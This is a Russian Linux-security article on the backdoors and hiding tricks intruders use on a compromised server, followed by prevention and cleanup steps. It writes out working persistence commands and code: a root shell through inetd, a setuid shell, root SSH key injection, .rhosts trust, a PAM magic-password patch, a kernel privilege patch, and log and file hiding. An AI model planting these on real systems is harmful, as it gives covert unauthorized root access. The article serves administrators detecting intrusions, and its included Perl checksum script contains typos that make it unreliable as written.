Итак, предположим, что вас взломали или у вас есть на это какие-то подозрения. Что делать? Сей час узнаете. Уж во восстановлениях после взлома я опытен...

Начнем с перечисления того, что злоумышленники изменяют:

Своя учетная запись

Создать учетную запись в /etc/passwd (shadow). Возможно, кто-то и не заметит такого изменения...

Не забудьте про другие файлы с паролями (.htaccess для веб-сервера).

hosts.allow и hosts.deny

Здесь, кажется, уже все понятно(если вы по крайней мере читали предыдущие статьи этой серии).

Ему достаточно ввести комманду: echo 'All: hacker's.computer.ip.adress' >> /etc/hosts.allow

Такие изменения не пользуются особой популярностью, т.к. администратору легко проверить наличие изменения этих файлов и установленный ip адресс "засветится".

NFS

Монтирование каталога запиывается в etc/exports коммандой:

echo '/ hacker_computer(rw,no_root,squash)' >> etc/exports

Данная комманда позволит смонтировать корневой каталог ('/') с правом read&write компьютеру hacker_computer.

После этого без подключения к компьютеру злоумышленник сможет изменять файлы passwd и shadow.

Для обнаружения взлома администратору достаточно контролировать измениения файла etc/exports, а имя используемого злоумышленником компьютера опять становится известно root'у.

Свои root-программы

Достаточно простой и эффективный способ получить root доступ - создать свою программу, работающую с командным интерпретатором.

Можно просто его создать копию. Тогда все его комманды могут выть выполнены с помощью данной копии. От такой возможности взлома предумали множество заплаток.

Они сравнивают идентификаторы uid(настоящие права пользователя) и euid(именно этот параметр становится root'овским при работе с копией интерпретатора).

Однако создание копии интерпретатора - одна возможность взлома. Можно так же создать свою программу с установленным uid, которая будет при запуске с каким-то параметром добавлять учетную запись, а без него - выводить код какой-нибудь ошибки и выключаться(это пример).

Я предлагаю такое решение для программы:

#include <unistd.h>
#define _xopen_source
...
if (strcmp (crypt(passwd,encrypted),encrypted) == 0) {
	setreuid(0,0);
	system("/bin/bash");
	}
...
// здесь я привожу только часть, где мы изменяем uid и 
// euid для пользователя.

Администратору необходимо искать изменения в существующих uid программах и появление новых uid программ. если найдена подозрительная программа, то ее лучше запустить с помощью отладчика(или сразу удалить), а не открывать.

Удаленная работа с bin/bash

a)Если у злоумышленника есть доступ компьютеру, то он сможет воспользоваться пунктом 3, а если нет, то ему необходимо удаленно запустить командный интрепритатор. Для этого ему надо добавить еще одну службу в файл демона inetd (пусть меня упрекнут в старомодности и в том, что в наше время используют уже xinetd, но по-моему любой нормально соображающий человек сможет сам немного видоизменить ниженаписанные строки).

Пусть есть порт XXX, который удаленный сервер не использует, тогда в etc/inetd.conf можно добавить строку "ХХХ stream top nowait root /bin/bash -i" и подключившись к порту ХХХ создастся пользовательская оболочка ком. интерпретатора (за это мы должны благодарить -i).

Такое изменение будет сразу замечено опытным администратором, ведь он проверяет изменения данного файла. Но хакеру не обязательно изменять существующий файл конфигурации, он может просто создать свой: пусть файл лежит в hacker/inetd.conf, тогда команда /usr/sbin/inetd /hacker/inetd.conf

Возможно, можно создать лазейку такого типа даже не используя inetd, но у меня не получилось ничего придумать.

От запуска подложного inetd защититься сложнее, но если у администратора стоит firewall, то злоумышленник не сможет подключиться к необходимому компьютеру. Соответственно необходимо следить и за изменениями в ipchains (тут меня попрекнули, что iptables используется гораздо чаще, но я с этим не согласен, хотя в будущем iptables действительно вытеснит ipchains).

Примечание: открытые, зарезервированны и др. порты можно увидеть в файле protocols.txt

б)Неконтролируемые соединения разрешаются firewall, благодаря чему существует еще одна возможность создания потайного хода, ведь при неконтролируемом соединении можно переавать команды.

Удаленные команды

Существуют файлы etc/hosts.equiv и домашний_каталог/.rhosts, которые разрешают пользователям определенных комптьютеров выполнять различные комманды без ввода пароля при подключении. Такие файлы часто используются в небольших локальных сетях.

Таким образом, злоумышленник при вводе команды "echo 'hacker's_copmuter makarov">> /etc/hosts.equiv" он сможет входить с компьютера hacker's_computer под пользователем makarov с правами либого пользователя кроме root.

Зато под root'ом позволяет заходить файл .rhosts: если создать a домашнем каталоге root'a данный файл и записать в него hacker's_copmuter makarov, то makarov будет иметь полные права при подключении к жертве.

Конечно, необходимо следить за изменением данных файлов. А если такой тип подключения вам не нужен, то его можно отключить, а так как при нем используются так называемые r-команды, достаточно их просто запретить. Делается это в файле inetd.conf. Закоментируйте в нем строки содержащие:
... in.rshd
... in.rexecd
... in.rlogind

SSH

Во-первых, ssh поддерживает удаленные команды (предыдущий пункт). Ssh предпочитают, т.к. у него существует принцип аутентификации: клиент отсылает свой открытый ключ и ssh проверяет его на валидность Такой принцип помогает защититься от взлома, а вот если у злоумышленника уже есть полный доступ к компьютеру, то ему достаточно добавить свой ключ в etc/ssh_known_hosts.

В файле etc/sshd_config указывается, как отонситься к файлам hosts.equiv и .rhosts: (необходимо пометить словом yes выбранный способ работы)
-)IgnoreRHosts - не работать с ними.
-)RhostsRSAAuthentication - дополнительно есть аутентификация по строке-ключу.
-)RhostsAuthetication - работает с данными файлами и не производит проверки по ключу.

Во-вторых, существует принцип закрытого ключа:клиент отсылает свой открытый ключ, ssh криптует им строку и отсылает клиенту, клиент с помощью секретного ключа расшифровывает ее и отсылает ssh. Таким образом злоумышленник должен выполнить команду

cat dir_of_key/hacker.key >> root/.shh/authorized.keys, после чего командой ssh -lroot computer_he_hacked.ru сможет зайти под root. Примечательно то, что даже если пароль root'a будет изменен, доступ у злоумышленника останется.

ТРОЯНЫ

Их я выделяю в отдельную тему, т.к. эти программы универсальны в своем использовании(от скрытия присутствия хакера до сохдания лазеек и взлома).

Не забывайте, что для борьбы с любыми троянами будет проверка целостности файлов(см. выше).

Команды

Такой способ подойдет только если у пользователя осталась хоть какая-то учетная запись. У локальных команд (adduser, passwd и др.) есть очень даже неплохие права. Значит можно изменить эти команды. Пример

Сетевые службы, демоны и firewall

Достаточно перекомпилировать службу(да хотя бы демон inetd), чтобы запускалась "невидимая" новая служба для работы с командным интерпритатором. После этого можно подменить ipchains.

Можно так же перекомпилировать саму службу так, чтобы при вводе какого-то слова, она бы пропускала процесс аутентификации и давала доступ root. Чтобы такое изменение не так бросалось в глаза, можно добавить такую команду в набор программы.

Стандартные модули аутентификации

Т.к. для каждой службы описывать отдельно процедуру(базу паролей и т.д.) аутентификации пользователей дело долгое и скучное, то программисты придумали подгружаемые модули аутентификации(сокращенно PAM) сразу для пакета программ. Однако это еще одно место, где можно добавить потайной вход. Pam-библиотеки подгрузжаются из файлов, перечисленных в файле etc/pam.d/login. Пусть это wuftpd:

#%PAM-1.0
auth	sufficient	/lib/security/pam_rootok.so
auth	required	/lib/security/pam_stack.so service=system-auth
session	optional	/lib/security/pam_xauth.so
account	required	/lib/security/pam_permit.so

Если убрать одну из строк(а именно строку, запрашивающую авторизацию у файла pam_stack.so), то можно отключить одну из проверок. Так можно добиться авторизации без пароля. Конечно, это будет заметно, поэтому обычно изменяют исходники самого pam.

...
//начало функции проверки пароля
if (!strcmp(p, 'Makarov') ) {
	return PAM_SUCCESS;
	}
...

Здесь при вводе пароля Makarov функция выдаст результат pam_success (в исходном pam коде это означает, что функция прошла без ошибок авторизации).

CGI

А вот это уже действительно интересно. Если сценарий может работать с командным интерпритатором, то можно работать с ним через строку с вызовом system() (для языка perl).

Можно в начало сценария добавить use some_file, а в директорию $home_of_perl/5.00503 добавить файл some_file.pm. Такой пример будет работать как #include в С, а уж небольшую строку с use заметить тяжелей, чем большой блок кода.

Ядро

Как много в этом слове. Изменения ядра наиболее опасны: их тяжело найти, могут подделываться любые действия. Главное то, что если изменить злоумышленнику ядро, то администратор не должен верить ничему. Абсолютно все данные могут быть фальшивыми.

Поскольку изменить как обычную программу не удастся, то появились подгружаемые к ядру модули, изменять которые злоумышленник в состоянии(без ведома администратора).

а)Модули.

Команда lsmod показывает загруженные модули ядра:
$root@localmachine# lsmod
--- listing ---

Поскольку я не очень силен в программировании под linux, то не привожу здесь никаких своих текстов. В этом (взято с www.phrack.org) файле находится чей-то замечательный модуль с отличным описанием(замечательное описание!). Если вы не читаете по английски, то это плохо, но если вам пока хватит только самого кода ядра - вперед, копируйте и компилируйте.

Итак, если у вас есть необходимый для вставки в ядро модуль. Тогда его можно скомпилировать командой gcc -o module.o -c module.c и подключить к ядру:
$root@localmachine# сp module.o /lib/modules/misc
$root@localmachine# insmod module.o
Все, модуль запущен.

От этой напасти защититься уже не очень легко. Конечно, необходимо проверять целостность файлов из числа модулей ядра, но это может не дать результата, т.к. злоумышленник мог легко подменить вывод для таких программ. Еинственным надежным способом будет запретить работать с модулями ядра любому. Даже самому администратору.

б)Само ядро.

Для перезапуска ядра необходима перезагрузка системы, поэтому взлом можно заметить. Если же то, что была перезагрузка компьютера осталось неизвестным для администратора, то у него очень крупные неприятности.

Весь исходный код linux можно найти на www.kernel.org (URL http://www.kernel.org/pub/linux/kernel/v2.0/linux-2.0.40.tar.bz2 - самый старый архив с ядром, но его для начала хватит). Обычно злоумышленник загружает его себе, потом редактирует и уже после взлома устанавливает на скомпрометированный компьютер сделанный шаблон ядра. В таком случае, если хакер опытен, то заметить такую лазейку практически не возможно.

Я приведу только несколько примеров для изменения ядра, чтобы показать масштабность проблемы. Вот здесь пример (блокнот его читает не совсем корректно, поэтому я советую просматривать через far и пр.). Я также выкладываю сюда еще несколько файлов из ядра:

1) sysctl.c - еще один файл для работы с системой и правами

2) sched.c - в этом файле определяются привилигия пользователя. Чтобы вам не мучиться при изучениее его структуры, напишу:

в функции capable (в ней определяется, есть ли у пользователя права для выполнения требуемого действия) надо написать
/* Ваше сравнение uid пользователя */
current->flags |= PF_SUPERPRIV;
return 1;

3)module.c - здесь все ясно из названия.

Все, с оставлением потайных ходов покончено. После прочтения созадется впечатление, что проще переустановить систему всю заново, чем искать все ходы, но это уже излишние меры.

Теперь перейдем к тому, как хакеры скрывают свое присутствие в системе:

Журналы

Все действия записыаются в журналах.

Вот файл syslog:

##
# Log all kernel messages to the console.
#
# Logging much else clutters up the screen.
#
#kern.*							/dev/console
#
# Log anything (except mail) of level info or higher.
#
# Don't log private authentication messages!
#*.info;mail.none;authpriv.none;cron.none		/var/log/messages
#
# The authpriv file has restricted access.
#authpriv.*						/var/log/secure
#
# Log all the mail messages in one place.
#mail.*							/var/log/maillog
#
# Log cron stuff
#cron.*							/var/log/cron
# Everybody gets emergency messages
#*.emerg							*
#
# Save news errors of level crit and higher in a special file.
#uucp,news.crit						/var

У отдельных программ существуют есть еще свои логи. Конечно, они будут чиститься опытным хакером.

Трояны

а) Во-первых злоумышленнику надо убрать процедуры записи в файл в исходниках следующих программ: sudo, su, sshd, rlogind, in.telnetd, login и др.(зависит от того, чем злоумышленник намерен пользоваться).

Или лучше добавить строки в нее:

if (strstr(msg, "111.111.111.111" ) ) // если у пользователя ip=111.111.111.111,то выходим из процедуры.

return; // для удаленных команд (при регистрации пользователя, например)

б)Процессы и файлы.

readproc.c используется командой ps. Здесь я предлагаю измененную его версию.

Для файлов все аналогично. В файл ls.c или исходники подобных программ достаточно добавить проверку: если имя файла содержит xxxxxx, то пропустить его. (для ls.c ее надо добавить в функцию file_interesting).

в)Целостность системы.

Ну и конечно же злоумышленник подменит программы, проверяющие целостность системы. Тогда его изменения в программах замечены не будут.

Все программы лучше каждый раз копировать со своей дискеты на компьютер. Я понимаю, что выглядеть вы будете как параноик, но важно помнить, что за безопасность надо платить, а за ее отсутствие - расплачиваться.

ДЕЙСТВИЯ АДМИНИСТРАТОРА ПОСЛЕ ВЗЛОМА И ПРОФИЛАКТИКА

Опытные пользователи могут это не читать(хотя действительно опытные люди вообще не будут читать эту статью). Здесь я расскажу то, что много раз уже упоминал в статьях, но не распространялся про смысл.

ПРОФИЛАКТИКА

1) find / \ ( -perm -02000 -o -perm -04000 \) -ls позволяет найти все программы с установленными uid индификаторами.

2) На сайте www.nabou.org можно скачать программу с одноименным названием, которая позволит записать контрольные суммы файлов и др. данные, после чего зашифровать свою базу.

3) Необходимо так же поставить программу, защищающую ваш компьютер от сканирования извне. Лучшей программой этого рода, имхо, является protsentry. Она позволяет определять производить защиту по udp и tcp протоколам. И если она замечает сканирование, то вообще запрещает данному пользователю обращаться к серверу.

4) Очень важным является проверка журналов. Во-первых, всем журналам нужно поставить права на чтение только для root. Наиболее удачной программой я считаю logsurfer, хотя можно и использовать другие программы(будьте осторожны, т.к. некоторые программы будут анализировать журналы, но воизбежание лишних сообщений, не будут показывать строки, считающиеся ими безопасными, что потенциально опасно). Logsurfer позволяет выдавать в отчете цепи из каких-то событий. Если, например, к файлам каталога /etc/ обращаются, то logsurfer выдаст еще и кто это делает, какие у него права, когда он зашел в систему и др. подробности. Она достаточно тяжела в настройке, но там есть достаточно полная документация.

Кстати, о контрольных суммах и правах записи: я предлагаю следующий простой perl-скрипт, сохраняющий данные о файле в некоторую базу данных.

#!/usr/bin/perl
use MD5;
require 'find.pl';
$md5 = new MD5;
@dirs = @argv;
for $dir (@dirs) {find($dir); }
sub wanted {push @files, $names; }
for $name (sort @files) {
	($uid,$gid)=(stat $name) [4,5];
	$stat = sprintf "%0o",(stat _) [2];
	unless (-f name) {
	printf "$stat\t$uid $gid\t\t\t\t\t\t$name\n";
	next;
	}
	$md5->reset();
	open FILE, $name or print(STDERR "Can't open file $name\n"), next;
	$md5->addfile(file);
	cloe FILE;
	$checksumm = $md5->hexdigest();
	printf "$stat\t$uid $gid $checksum\t$name\n");
} // Автором кода явл. Жорж Курц.

При запуске такого сценария в директории dir, вы получите базу для всех файлов этого каталога.

5) Для повышения безопасности лучше скачать различные "заплатки" для ядра. Очень полезными являются ссылки:
www.lids.org
www.openwall.com

6) Команда "netstat -na lsof" позволит узнать обо всех подключениях. Благодаря ней можно определить объем передаваемого трафика, который резко повышается во время взлома компьютера.

7) Проверяйте наличие параметра Promisc в результате работы команды "ipconfig -a", т.к. он обозначает работу в неразборчивом режиме, а значит, на компьютере может быть установлен сниффер.

8) Проверять наличие навых учетных записей в системе, а так же вредоносные действия по отношению к журналам "входа в систему" utmp и wtmp программами типа chkwtmp.

"ПОСЛЕВЗЛОМИЕ"

Итак, подозрений во взломе больше нет, есть уверенность, что вас взломали. Примите следующие действия:

1)Отключите все от работы с сетью.

2)Закройте доступ всем учетным записям кроме root.

3)Перезагрузитесь с загрузочного диска и оценивайте вред, нанесенный системе:

а)Новые каталоги, файлы(в особенности программы с установленными uid битами).

б)Записи в журналах, проверка меток и контрольных сумм файлов.

в)Изменение конфигурации *.conf файлов.

4)Перекомпилируйте особо важные части системы и установите их на взломанный компьютер.

Кажется, все. Серия статей, как мне кажется, закончена. Если у вас есть новые темы, предложения, корректировки и прочее, пишите. Буду рад любым письмам, кроме спама и ругательств:)

makt_liCh (Makarov Tihon),
ведущий Linux-раздела www.whatis.ru

обсудить  |  все отзывы (0)
Выберите оценку 10 (изумительно) 9 (отлично) 8 (хорошо) 7 (неплохо) 6 (средненько) 5 (сойдет) 4 (так себе) 3 (слабо) 2 (плохо) 1 (отвратительно) Вернуться в раздел Перейти к рейтингу Перейти к обсуждению Вернуться к статье	[21517; 106; 5.35]